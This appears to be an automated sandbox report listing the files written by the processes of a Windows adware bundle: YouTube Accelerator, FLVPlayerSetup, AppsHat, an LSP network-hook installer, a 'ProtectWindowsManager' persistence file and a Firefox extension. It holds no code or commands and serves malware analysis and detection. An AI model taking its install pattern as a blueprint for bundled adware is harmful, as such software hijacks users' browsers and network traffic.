C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA28F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3364.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_820.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA27B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1532.log_tmp (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA256.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (221069 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1B8.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3364_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA27D.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA279.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1A2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1A4.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1028_firefox.log_tmp (24 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA291.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_820_YouTubeAcceleratorService.log_tmp (43 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1532.log (79514 bytes)

The process FLVPlayerSetup.exe:2388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\modern-wizard.bmp (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\webplayer-flv.rtf (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\nsDialogs.dll (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\webplayer_installer.exe (7069 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\modern-header.bmp (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\System.dll (23 bytes)

The process GLB4DD1.tmp:1812 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF564F.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG564E.tmp (90922 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ4E3F.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM5247.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC4E2F.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK5043.tmp (1604 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process biclient.exe:2344 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp (39034 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\49e8b48101569a41ad990f2a534d0e40[1].htm (28097 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69303 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ajax-bidl[1].htm (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.1 (5224 bytes)

The process biclient.exe:3340 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f5daecd74e316e46a59f4bd1d5099978[1].htm (27589 bytes)

The process biclient.exe:1728 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2IL7GUZ1.txt (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ga[1].js (22248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5PODH1RU.txt (549 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\796c1daebeb52f4eabf469c6ed8ad1c0[1].htm (36057 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SGKSZ49I.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LI9180E8.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FLVPlayerSetup.exe (18768 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\U8SH6J2O.txt (287 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1824 bytes)

The process GLJ4E3F.tmp:3496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process wpm_v20.0.0.1714_0204.exe:3864 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)

The process 3EB4.tmp:880 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (304468 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7743 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\NSISEncrypt.dll (3412 bytes)

The process ins_yta.exe:3284 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB4DD1.tmp (144 bytes)

The process appshat_generic.exe:504 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D1.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\setup[2].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\appshat.exe (13992 bytes)

The process testlsp.exe:3364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3364.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3364_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3364_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3364_testlsp.log (124714 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)

The process 0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:4736 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\b13ae2906e2d1276be1bdb7d0eef3913.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\61319d434ae10cfee318964f34581de6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\173959e08d33bab23e26f653370b9ae1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e5b7ce52148490700523f36cd12325e5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fc939b38977037006afcb94762ca271e.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eb6ad66dcd3e1616bd41e3d164ccce5a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\32654288634bc44d9f935683639ea8fe.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (619 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\47a8bacb52b20804bbf9cd51d55ca2a1.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\26dd333716a6b96fbf79139aa7336fe5.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
